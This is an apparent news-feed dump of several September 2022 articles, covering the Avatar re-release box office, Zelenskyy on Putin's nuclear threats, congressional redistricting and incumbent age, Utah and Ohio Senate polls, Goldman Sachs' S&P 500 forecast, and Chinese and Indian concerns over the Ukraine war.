James Cameron's 2009 sci-fi epic was re-released to theaters ahead of the December debut of its long-awaited sequel, "Avatar: The Way of Water." It grossed $ 30.5 million globally, $ 10 million of which came from North America.

The strong box office for the 13-year-old movie is a good sign for "The Way of Water's" chances.

"Avatar" is the biggest movie of all time, now with $ 2.878 billion at the worldwide box office, including $ 770.5 million domestically.

"Avengers: Endgame" briefly topped it in 2019, but "Avatar" reclaimed its crown after a re-release in China last year grossed $ 50 million.

"Avatar" was remastered for this re-release in 4K at a high-dynamic range and with enhanced sound. Imax screenings accounted for 20% of the global gross and 29% of the domestic take.

The lesson here is to never underestimate Cameron, who also directed "Titanic" — which was the world's biggest movie until "Avatar" dethroned it.

"'You know what? I made "Titanic." This building that we're meeting in right now, this new half-billion dollar complex on your lot? "Titanic" paid for that, so I get to do this,'" Cameron told the studio regarding changes it wanted to make to "Avatar," he said in a recent interview with The New York Times. "And afterward, they thanked me." 

The theatrical industry has a lot riding on "The Way of Water." After a promising summer, blockbuster tentpoles have been lacking in recent weeks. The only surefire hits coming to theaters the rest of the year are "Black Panther: Wakanda Forever" and "The Way of Water."

Because of the movie drought, studios have recently re-released other movies, such as "Spider-Man: No Way Home" and "Jaws." The former earned $ 6.5 million over the four-day Labor Day weekend in the US, and the latter made $ 3 million in that same period.

"Avatar" was up against the new release "Don't Worry Darling" over the weekend, which topped the US box office with $ 19 million after months of offscreen drama.

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]]> https://briefnews.eu/avatar-was-re-released-in-theaters-again-over-the-weekend-13-years-after-it-debuted-and-the-box-office-is-a-good-sign-for-the-upcoming-sequel/feed/ 0 Zelenskyy says he doesn’t think Putin is ‘bluffing’ over nuclear threats https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/ https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/#respond Mon, 26 Sep 2022 14:33:32 +0000 https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/ Ukrainian President Volodymyr Zelenskyy; Russian President Vladimir Putin
Ukrainian President Volodymyr Zelenskyy; Russian President Vladimir Putin.

BERTRAND GUAY/AFP via Getty Images; Contributor/Getty Images

  • Zelenskyy says that he does not think Vladimir Putin is "bluffing" about his nuclear threats.
  • "Maybe yesterday it was bluff. Now, it could be a reality," Zelenskyy told CBS's "Face The Nation."
  • Last week, Putin threatened the use of nuclear weapons as he announced plans to beef up Moscow's forces in his fight with Ukraine.

Ukrainian President Volodymyr Zelenskyy says that he does not think Russian leader Vladimir Putin is "bluffing" when it comes to his threats of turning to nuclear weapons amid the Kremlin's war with Ukraine. 

"Maybe yesterday it was bluff. Now, it could be a reality," Zelenskyy told CBS's "Face The Nation" in an interview that aired on Sunday. "I don't think he's bluffing."

Last week, Putin announced plans to partially mobilize hundreds of thousands of reservists to beef up Moscow's forces in the Russian president's fight with Ukraine.

He threatened the use of nuclear weapons as he said in a televised address to the nation that mobilization would begin immediately. 

Putin accused the West of "nuclear blackmail," saying Western nations had encouraged Ukraine to shell the Russian-controlled Zaporizhzhia nuclear power plant in Ukraine.

He also falsely said that officials in NATO countries had spoken "about the possibility and admissibility of using weapons of mass destruction against Russia — nuclear weapons."

"To those who allow themselves to make such statements about Russia, I would like to remind you that our country also has various means of destruction, and for some components more modern than those of the NATO countries," said Putin.

"And if the territorial integrity of our country is threatened, we will certainly use all the means at our disposal to protect Russia and our people," Putin said. "This is not a bluff."

During his interview on CBS, Zelenskyy contended that Putin "wants to scare the whole world."

"These are the first steps of his nuclear blackmail," said Zelenskyy. "I think the world is deterring it and containing this threat. We need to keep putting pressure on him and not allow him to continue."

Putin's announcement of a partial mobilization of troops comes as Russia suffers disastrous defeats on the battlefield amid the Kremlin's more than seven-month-long war with Ukraine.

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]]> https://briefnews.eu/zelenskyy-says-he-doesnt-think-putin-is-bluffing-over-nuclear-threats/feed/ 0 Fights over political lines have fueled the aging of America’s government. But that may be changing. https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/#respond Sun, 25 Sep 2022 11:28:55 +0000 https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/ Illustration of a blue-colored old man drawing a redistricting line in the ground with his cane, next to other districted zones colored red

Marianne Ayala/Insider

  • Redistricting and fights over political lines have fueled the aging of America's government.  
  • More often than not, older members of Congress win in primaries between two incumbents.
  • But polarization and partisanship are enabling younger members to knock out their elders.
  • Read more from Insider's "Red, White, and Gray" series.

Every 10 years, a new US Census forces states to redraw their political maps through redistricting. Whenever a state loses a House seat in the process, incumbent members of Congress are forced to run against each other — and younger, less experienced incumbents often end up on the chopping block. 

An Insider analysis, based on data compiled by Bloomberg's Greg Giroux, found that in 20 incumbent-on-incumbent contests since 1992 where there was an age difference of at least two years between the candidates, 12 were won by the older member and eight by the younger member. 

The dynamics of member-on-member contests have favored older incumbents and reinforced the gerontocracy in American politics as we know it. Since the 1990s, the age of Congress has significantly increased compared to the baseline growth seen over the 20th century — and redistricting has only hastened that trend. 

"It doesn't surprise me that age would make a difference on the margins," Jamie Carson, a political scientist at the University of Georgia who studies congressional elections, told Insider of member-on-member races. "It brings a bit more experience, better fundraising prowess, and maybe they know the district better." 

The 2012 cycle, where the more senior representative won eight of 11 such contests following redistricting, was particularly brutal for younger incumbents. 

In New Jersey, then 75-year-old Bill Pascrell easily dispatched 59-year-old Democratic Rep. Steven Rothman by 22 points when the two ran in the same district in 2012. 

Fifty-year-old Rep. David Schweikert narrowly ousted the one-term 35-year-old Ben Quayle, the son of former Vice President Dan Quayle, in the Phoenix suburbs. Sixty-nine-year-old John Mica, who had served in Congress for nearly 20 years, knocked out 55-year-old Sandy Adams, who served one term, in suburban Central Florida. And 60-year-old Janice Hahn defeated fellow Democrat Laura Richardson, 50, in the general election for California's 44th District by a resounding 20 points.

Rep. Alex Mooney, left, and Rep. David McKinley, right
GOP Rep. Alex Mooney, left, and Rep. David McKinley, right, are facing off in a member-on-member primary in West Virginia.

AP Photo/Chris Tilley, File, AP Photo/J. Scott Applewhite, File

Youth movement — fueled by partisanship?

But that trend is changing. Accelerating partisanship and polarization, in particular, are shaking up the game — and increasingly empowering younger lawmakers to knock out their more senior rivals. 

In 2022, the 75-year-old, five-term Rep. David McKinley, a West Virginia Republican, had some key advantages on his side when reapportionment put him in the same district as 50-year-old Rep. Alex Mooney. 

McKinley, endorsed by both Virginia's Republican governor and its powerful Democratic senator, Joe Manchin, was able to tout his role in the passage of a landmark bipartisan infrastructure bill that provided much-needed funds for his state. But an endorsement from President Donald Trump and hundreds of thousands in outside spending from conservative groups boosted Mooney to win the day. 

Younger candidates have won four out of six member-on-member primaries of the 2022 cycle, though in one case, Rep. Jerry Nadler of New York, who's 75, was younger by just a few months than Democratic rival, Rep. Carolyn Maloney. And in the cases of the two older incumbents who came out on top in their races, age and tenure in Congress weren't the deciding factors.

Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.
Republican Rep. Adam Kinzinger of Illinois outside a January 6 committee hearing on June 13, 2022.

Drew Angerer/Getty Images

State lawmakers have expertly wielded their redistricting pens to kneecap their opponents — and hurt younger candidates 

Over the decades, intentional partisan gerrymandering — and the inevitable reshuffling that comes along with states losing districts and redrawing their lines — have dashed many congressional careers and aspirations.

Partisan gerrymandering and internal party struggle over district lines can also prevent young candidates or candidates from diverse backgrounds from getting elected to Congress in the first place. 

"Wisconsin's 7th District is very gerrymandered, so that was already a challenge that, going in, I knew," Tricia Zunker, who ran as a Democrat in a special election in a rural, Republican-leaning north-central Wisconsin district in spring 2020, told Insider in an interview.

Partisan gerrymandering, the redrawing of political district lines to favor one political party over the other, has gotten increasingly tactical. State lawmakers, in addition to utilizing the process to kneecap the opposing party, also make strategic choices about which members of Congress to sacrifice. 

In 2002, Republican state lawmakers in Michigan, who then controlled the redistricting process, drew two Democrats into the same blue district to make the surrounding districts safer for their party, a gerrymandering tactic known as packing.

The new map put then 45-year-old Rep. Lynn Rivers in the same district as Rep. John Dingell, a scion of Michigan politics who still holds the mantle of the longest-serving member of Congress in history.

Rivers mounted a competitive challenge — but still lost the race by 18 points. And she's not the only one who saw her time in Congress come to an end after partisan gerrymandering pitted her against a colleague. 

After the 2020 Census, Republican lawmakers in Georgia took the opportunity to force out one of the two Democratic women who had won seats in the blue-trending Atlanta suburbs, pushing Reps. Lucy McBath and Carolyn Bourdeaux into the same safely Democratic district. 

In Illinois, which lost one House seat after 2020, a map drawn by Democrats in the state legislature pitted two sets of Republican incumbents against each other in northern and central Illinois. Rep. Rodney Davis lost to freshman Rep. Mary Miller in one of those races. In the other, Rep. Adam Kinzinger decided to retire rather than run against Rep. Darin LaHood. 

"Through a strategic lens, it's a chance to knock out an incumbent and make that seat more vulnerable," Carson, the political scientist, said of gerrymandering.

The game of political musical chairs set off by a state losing a seat in Congress can also box out young, upstart candidates hoping to break in. 

Lourin Hubbard, a 33-year-old water-quality-control manager in California's Central Valley, ran as a Democrat in a June 2022 special election after a top GOP representative, Devin Nunes, left Congress early to run the Trump Media & Technology Group, the company behind the former president's Truth Social platform.

Hubbard, who lost to the 71-year-old Republican Connie Conway, considered running for a full term in Congress. But California's new commission-drawn congressional map, which will fully take effect come January 2023, dissolves Nunes' old district and splits it up into four new ones — including one held by Democratic Rep. Jim Costa. 

Hubbard told Insider that local county Democrats discouraged him from running for a full term in Congress against Costa, who now holds a safely Democratic Fresno-based seat.     

The new map "created some tension and conflict" within the county Democratic Party. "And to avoid that conflict altogether, I was like, 'I'll just run in the special,'" he said. 

Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.
Democratic Rep. Andy Levin of Michigan at a press conference on Capitol Hill on February 9, 2022.

Bill Clark/CQ-Roll Call via Getty Images

Partisanship and parochial factors are shaking up member-on-member primaries

Incumbency is the best predictor of whether a candidate wins an election. 

Challengers, Carson noted, have the best shot at unseating incumbents if they have prior political experience, money, or are up against an incumbent with particular weaknesses or a scandal.

"Even if you don't like the incumbent, that's not enough," Ryan Williamson, a resident fellow for governance at the R Street Institute, a Washington DC-based policy think tank, told Insider. "You have to actively dislike the incumbent and mobilize around unseating them, which is a much higher burden."

But the rare contests where incumbents are pitted against each other are "idiosyncratic," Carson said, and don't follow predictable patterns — especially in the 2022 cycle.        

Two decades after the Dingell-Rivers race, another primary fight between two Michigan Democrats shows how partisanship and money can eclipse age, experience — and even membership in a political dynasty — in member-on-member races. 

Rep. Haley Stevens, 39, could have had an uphill battle against Rep. Andy Levin, 61, when he decided to run against her in her suburban Detroit district, which became more safely Democratic under new lines drawn by a citizen-led commission. 

Like Dingell in 1955, Levin took over the House seat held for decades by his father, Sander Levin, in the 2018 midterm elections, following both his father and his uncle, former Sen. Carl Levin, to Washington. 

But Levin took a risk by choosing to run in the safely blue 11th District instead of the more Republican 10th District where he lived, planting himself on largely unfamiliar turf where he represented just a quarter of the electorate. 

The explosion in outside campaign spending since 2002 has shaken up the dynamics of all House primaries and heavily factored into the 11th District contest. A slew of pro-Israel, women's, and progressive organizations poured over $ 9 million, $ 7.45 million of which benefited Stevens, into the race. Stevens ended up beating Levin by 20 points in August — overcoming both his seniority in age and the potency of his family name. 

Like in all House elections, money plays a significant role in member-on-member races. Older incumbents often have more money in the bank and more established fundraising networks from their years campaigning for elected office and, in some cases, greater personal wealth, candidates and experts told Insider. 

The candidate who spent the most money won four out of six member-on-member contests in 2022 and nine out of 11 contests in the 2012 cycle, according to an Insider analysis of campaign-finance records. 

"Every new midterm breaks the previous record, and a bulk of that money is going to flow to the most competitive primaries and general elections," Carson said, noting that "money is a necessary but not sufficient condition," particularly in member-on-member contests. 

State lawmakers have drawn incumbents together for political gain for decades, but the post-2020 redistricting cycle also saw many maps drawn by courts or independent commissions. Many of those commissions prioritized drawing competitive districts over protecting longtime incumbents, which blunted the advantage that some more tenured incumbents enjoyed. 

New York's court-drawn congressional map, resulting from a messy and protracted legal battle, pitted two longtime House Democrats and committee chairs, Nadler and Maloney, against each other in upper Manhattan.

That race, a clash of two septuagenarian titans of New York politics, was driven more by parochial forces than national ones, with The New York Times editorial board and the powerful Sen. Chuck Schumer throwing their support behind Nadler in the final stretch. 

As the Stevens-Levin race showed, the member of Congress representing most of the new district's constituents is generally favored in a matchup between two incumbents in the same seat. 

But in other races, like the Hahn-Richardson contest, a candidate who represented very little of their new territory came out on top.  

And four out of six member-on-member contests that have taken place so far in 2022 saw the member who represented less of their new district winning their race, according to Daily Kos Elections. In Georgia, for example, McBath won despite representing just 12% of her new district, while her opponent represented over 57% of it.    

Partisanship and ideology are now playing a more prominent role than age and seniority in shaping House primaries, especially on the Republican side. 

The winners of the two 2022 primaries where Republican incumbents faced each other, Miller and Mooney had firmly aligned with Trump's wing of the Republican Party, earned Trump's endorsement, and also enjoyed outside spending on their behalf by groups like the Club for Growth and the political arm of the House Freedom Caucus. 

In Illinois, Miller defeated Davis by 14 points despite raising and spending less money than Davis, serving in Congress for less time, and only representing slightly more of the new district. Mooney, who also served less time and represented just a third of the redrawn district, defeated McKinley by an even wider margin of 18 points. 

Knocking out an incumbent with years of lawmaking experience is still difficult, and older candidates' structural advantages aren't disappearing. But the forces of partisanship are making it easier for challengers. 

House Republicans who fought the Trumpian takeover of the party, like Reps. Liz Cheney, Tom Rice, Peter Meijer, and Jaime Herrera Beutler, all lost to Trump-backed primary challengers. And others, like Kinzinger and Reps. Anthony Gonzalez, John Katko, and Fred Upton, chose to forgo running altogether. 

In all, 14 House incumbents lost renomination in 2022, the highest number in a single cycle since 1992. The forces of partisanship and polarization, Carson said, would have pushed that number even higher if not for dozens of members heading for the exits.

"For the longest time, it was hard to beat incumbents because people of the opposite party would be willing to cross party lines," Carson said. "That has changed. If you're a Democrat in a Republican district, your days are probably numbered."

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]]> https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/feed/ 0 GOP Sen. Mike Lee holds a narrow edge over independent Evan McMullin in the Utah Senate race: poll https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/ https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/#respond Sat, 24 Sep 2022 23:33:11 +0000 https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/ Mike Lee
Sen. Mike Lee of Utah.

AP Photo/Phelan M. Ebenhack, File

  • Mike Lee leads Evan McMullin 36%-34% in a new Deseret News/Hinckley Institute of Politics poll.
  • The Utah Senate race is shaping up to be one of the most competitive statewide contests in years.
  • The key to victory is the support of the state's moderate voters, per Hinckley director Jason Perry.

Republican Sen. Mike Lee holds a narrow lead over independent candidate Evan McMullin in the Utah Senate race, in what is shaping up to be one of the most competitive statewide races in recent memory in the longtime GOP stronghold.

In the latest Deseret News/Hinckley Institute of Politics poll — among registered voters — Lee earned the support of 36% of respondents, while 34% backed McMullin and 13% opted for another candidate. Per the polling results, 16% of respondents also indicated that they were undecided.

Among likely voters, the race remains largely unchanged, with Lee leading McMullin 37% to 34%, with 16% of respondents stating that they were undecided.

The poll surveyed 815 registered voters from Sept. 3 through Sept. 21 and had a margin of error of plus or minus 3.43 percentage points.

Jason Perry, the director of the Hinckley Institute of Politics at the University of Utah, told Deseret News that the polling indicated that a swath of moderates — who are still not sold on giving Lee a third term in Washington, DC — are the key to the incumbent winning in November and are also critical to McMullin if he is to upset the Republican lawmaker.

"Mike Lee continues to be in the driver's seat, but the most interesting aspect of this poll is who the undecided voters are — moderates and liberals," Perry told the publication. "Mike Lee needs some of the moderates and Evan McMullin needs all the moderates and liberals he can convince, but those groups are in a quandary."

Utah Democrats in April threw their support behind McMullin in the November contest, in turn passing over a nominee from their own party. In endorsing McMullin, Democrats lined up behind a former CIA officer who unsuccessfully sought the presidency in 2016, but performed strongly in the Beehive State — winning 22% of the statewide vote and holding Donald Trump below 50% of the vote in one of the most Republican states in the country.

While Lee overwhelmingly votes in line with most Republican senators, McMullin told NBC News in July that he wouldn't caucus with either major party should he be elected to office this fall.

And while Republican candidates generally enjoy a healthy financial advantage in Utah, McMullin has been able to remain competitive with the incumbent.

According to OpenSecrets, Lee has raised $ 7.9 million and had nearly $ 2.5 million in cash on hand, while McMullin has taken in over $ 3.2 million and had nearly $ 1.3 million in cash on hand.

In the last Deseret News/Hinckley poll — which was conducted in July — Lee held a 41%-36% lead over McMullin.

The latest results show some erosion in support for the senator, as there has since been an increase in the number of voters who are undecided.

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]]> https://briefnews.eu/gop-sen-mike-lee-holds-a-narrow-edge-over-independent-evan-mcmullin-in-the-utah-senate-race-poll/feed/ 0 Republican JD Vance holds a razor-thin lead over Democratic Rep. Tim Ryan in the Ohio Senate race, poll shows https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/ https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/#respond Sat, 24 Sep 2022 18:47:13 +0000 https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/ JD Vance
Ohio Republican Senate nominee JD Vance.

AP Photo/Tom E. Puskar

  • JD Vance has a one-point lead over Tim Ryan in the Ohio Senate race, according to a new Marist poll.
  • For months, Vance and Ryan have been locked in a tight race in the Republican-trending state.
  • Ryan has so far been adept at consolidating the Democratic vote and peeling off some GOP support.

JD Vance has a razor-thin lead over Democratic Rep. Tim Ryan in the Ohio Senate race, with the Republican nominee edging out the veteran congressman by one-percentage point, according to a new Marist Poll.

The survey showed that Vance had 46% support among registered voters, while Ryan earned the backing of 45% of respondents; nine percent of respondents said that they were undecided.

Among voters who indicated that they were highly likely to vote in November, Vance led by a similar one-point margin (48%-47%).

In the poll, Vance attracted the support of 85% of Republicans, with 9% of GOP respondents crossing over to back Ryan.

The venture capitalist and "Hillbilly Elegy" author performed strongly in western Ohio, where he led Ryan by 40 percentage points (65%-25%), and in the Appalachian region of southern Ohio, where he held a robust 28-point lead (60%-32%).

However, Ryan has managed to remain competitive in the Republican-friendly Buckeye State by consolidating the Democratic base while also performing well with independents and peeling off some GOP voters.

In the survey, Ryan captured 92% of the Democratic vote and had a two-point lead with independents, while also earning the support of nearly one-in-ten Republican respondents.

Among white voters — by far the largest share of voters in Ohio — Ryan and Vance are nearly even, with the Democratic congressman winning 45% of their votes to 47% for the GOP nominee.

Ryan led Vance by 11 percentage points (50%-39%) among nonwhite voters.

And Ryan is running ahead in three critical regions where he must deliver robust margins in order to win statewide — he led in the Cleveland area 53%-35% and metropolitan Columbus 51%-43%.

In the Cincinnati area — where populous Hamilton County in recent years has increasingly backed Democratic candidates in statewide races — Ryan held a 47%-45% edge over Vance.

Tim Ryan
Rep. Tim Ryan is the 2022 Ohio Democratic Senate nominee.

AP Photo/Jay LaPrete

The top three issues for respondents in the poll were inflation (36%), the preservation of democracy (27%), and abortion (18%).

While Vance has hammered Ryan over the economy by linking him to President Joe Biden — who is currently unpopular in the state — the Democratic nominee has sought to highlight his opposition to free-trade deals that accompanied the decline in manufacturing jobs in the state.

In the gubernatorial contest, Republican Gov. Mike DeWine held a wide 55%-37% lead over his Democratic opponent, former Dayton mayor Nan Whaley.

Among those who indicated that they would definitely head to the polls this fall, DeWine held a 55%-39% lead.

DeWine, who is seeking a second term in office, received the backing of 92% of Republicans and attracted the support of 10% of Democratic respondents.

Among independents, DeWine held a significant 22-point lead (54%-32%) over Whaley.

In the survey, the governor also led in every region of the state, including the Democratic-leaning Cleveland area, where he bested Whaley 48%-45%.

Marist polled 1,200 registered voters from September 12 through September 15; the survey had a margin of error of plus or minus 3.6 percentage points.

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]]> https://briefnews.eu/republican-jd-vance-holds-a-razor-thin-lead-over-democratic-rep-tim-ryan-in-the-ohio-senate-race-poll-shows/feed/ 0 Goldman Sachs cuts its S&P 500 forecast, says stocks will drop over 4% by the year’s end as the Fed stays aggressive https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/ https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/#respond Fri, 23 Sep 2022 11:46:15 +0000 https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/ traders fed
Federal Reserve interest rate hikes will weigh on stocks this year, Goldman Sachs warned.

Richard Drew/AP Photo

  • Goldman Sachs on Friday slashed its end-of-year target for the S&P 500 to 3,600, a .
  • The Fed's aggressive approach to taming inflation will weigh on stocks, the bank said.
  • The benchmark US index has plummeted just under 21% as rising interest rates drive a sell-off.

Goldman Sachs has cut its year-end target for the S&P 500, predicting the benchmark US stock index will fall 4.2% as the Federal Reserve sticks to its aggressive tightening.

The Wall Street bank dropped the benchmark's three-month target from 4,300 to 3,600, and warned that the US central bank's fast pace of interest rate hikes will likely lead to further stock selloffs before the end of 2022.

"The expected path of interest rates is now higher than we previously assumed, which tilts the distribution of equity market outcomes below our prior forecast," the bank's strategists said in a note to clients Thursday. 

"The S&P 500 index actually reached our previous year-end target of 4,300 in mid-August, but the rate complex has subsequently shifted dramatically," added the team, led by chief US equity strategist David Kostin.

US stocks slipped after the Fed on Wednesday hiked interest rates by an outsized 75 basis points for the third time in a row. The S&P 500 closed 0.84% lower at 3,757.99 on Thursday, after hitting a two-month low of 3,749.35 during that session.

Investors have fretted about the interest rate hikes because of their potential impact on economic growth. 

The Goldman Sachs team warned the S&P 500 could fall as low as 3,400 if earnings of its listed companies decline and the Fed's attempts to curb red-hot inflation lead to a "hard landing", where the US suffers a recession.

"The outlook is unusually murky. The forward paths of inflation, economic growth, interest rates, earnings, and valuations are all in flux more than usual, with a wider distribution of potential outcomes," they said. 

But in the near term, Goldman Sachs expects investors will turn their focus to corporate earnings. In the third-quarter earnings season, record-high profit margins will be closely examined, its team said.

Stock investors have come round to the view that a hard landing for the US economy is inevitable, Goldman Sachs said, based on discussions with clients. 

"Most portfolio managers believe that in order to corral inflation, the Fed will have to hike rates sufficiently high that it will result in a US recession at some point during 2023," Kostin's team said.

The bank's strategists said its higher interest rate scenario implies the S&P 500 will still be at 3,600 in six months, but should rise 6% to 4,000 in 12 months.

Goldman Sachs expects another 75 basis point hike at the Fed's November meeting, followed by a 50 basis point rise in December. A hike of 25 basis points in February means policymakers are aiming to raise interest rates to between 4.5% and 4.75%.

Read more: Goldman Sachs says if the Fed nails a soft landing, don't expect interest rate cuts until something goes wrong

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]]> https://briefnews.eu/goldman-sachs-cuts-its-sp-500-forecast-says-stocks-will-drop-over-4-by-the-years-end-as-the-fed-stays-aggressive/feed/ 0 Russia partners like China and India expressing concerns over Ukraine may have forced Putin’s hand and driven him to try and end the war quickly, according to Russian politics experts https://briefnews.eu/russia-partners-like-china-and-india-expressing-concerns-over-ukraine-may-have-forced-putins-hand-and-driven-him-to-try-and-end-the-war-quickly-according-to-russian-politics-experts/ https://briefnews.eu/russia-partners-like-china-and-india-expressing-concerns-over-ukraine-may-have-forced-putins-hand-and-driven-him-to-try-and-end-the-war-quickly-according-to-russian-politics-experts/#respond Fri, 23 Sep 2022 01:42:56 +0000 https://briefnews.eu/russia-partners-like-china-and-india-expressing-concerns-over-ukraine-may-have-forced-putins-hand-and-driven-him-to-try-and-end-the-war-quickly-according-to-russian-politics-experts/ Russian President Vladimir Putin, right, and Indian Prime Minister Narendra Modi pose for a photo shaking hands prior to their talks on the sidelines of the Shanghai Cooperation Organisation (SCO) summit in Samarkand, Uzbekistan, Friday, Sept. 16, 2022.
Russian President Vladimir Putin, right, and Indian Prime Minister Narendra Modi pose for a photo shaking hands prior to their talks on the sidelines of the Shanghai Cooperation Organisation (SCO) summit in Samarkand, Uzbekistan, Friday, Sept. 16, 2022.

Alexandr Demyanchuk, Sputnik, Kremlin Pool Photo/Associated Press

  • Some of Putin's global partners expressed concerns about his war in Ukraine last week.
  • Days later, Putin escalated the war by announcing military mobilization and threatening nuclear warfare.
  • A Russia expert told Insider Putin may have acted out of fear of straining relationships with nations like China and India.

Russian President Vladimir Putin escalated his unprovoked war on Ukraine this week, just days after some of his supposed partners publicly expressed doubt over it — and the events may well be related.

Since invading Ukraine in February, Russia has been shunned by much of the world and faced crippling sanctions from the West. But as Russia grew more isolated, some nations have either stood by Putin or avoided directly condemning him.

Both China and India have been powerful partners of Russia throughout the war, declining to institute sanctions and continuing to purchase the country's energy products. However, leaders of both countries recently took the rare step of speaking against the war.

During a meeting with Chinese President Xi Jinping in Uzbekistan on September 15, Putin acknowledged Xi had "questions and concerns" regarding the war. The following day, Indian Prime Minister Narendra Modi criticized the war during a face-to-face meeting with Putin.

"I know that today's era is not an era of war, and I have spoken to you on the phone about this," Modi told Putin, Reuters reported.

Putin responded: "I know about your position on the conflict in Ukraine, and I know about your concerns. We want all of this to end as soon as possible."

Less than a week later, on Wednesday, Putin said he was calling up 300,000 reservists to join the fight, something he had avoided doing for fear of backlash among the Russian people. The announcement, in which he also threatened to use nuclear weapons, came after the Ukrainian military made major gains in recent weeks.

Experts told Insider it would be weeks or months before the mobilized troops are trained, equipped, and deployed. They also said Putin's decision to take this step now showed how poorly the war was going for Russia and how desperate the Russian leader was to turn the tide.

"That Putin would do this shows how badly he feels the need right now to change the momentum, which has been all in Ukraine's favor," Daniel Treisman, a professor at the University of California, Los Angeles, whose work focuses on Russian politics and economics, told Insider.

In addition to fearing another potential counteroffensive by Ukraine, Putin was likely also driven by Xi's and Modi's concerns — and his fear of losing key partners — according to Robert English, a professor at the University of Southern California who studies Russia, the Soviet Union, and Eastern Europe.

"The evidence of criticism of allies like China or neutral states like India clearly put more pressure on him," English told Insider. He added that leaders of those nations seem to have told Putin they did not approve of the situation in Ukraine because it was harming their reputations on the world stage and costing them economically and politically.

English said what he suspects Putin heard was: "'Find some way to settle this quick, to wind this war down, because we will not remain at your side for another six months of this brutality.'"

"He heard a message like that, so he's trying to up the ante," English said. "He's trying to change the military balance the best way he can."

If Putin has mobilized troops in an effort to end the war as quickly as possible, as he assured Modi he would seek to do, it's not at all clear if it will be successful.

"It's an unsatisfactory and inadequate response to the motivation, manpower, and materiel on the Ukrainian side," English said, explaining that military aide and intelligence from the West has given Ukraine an advantage on the battlefield. "It's not going to do the job."

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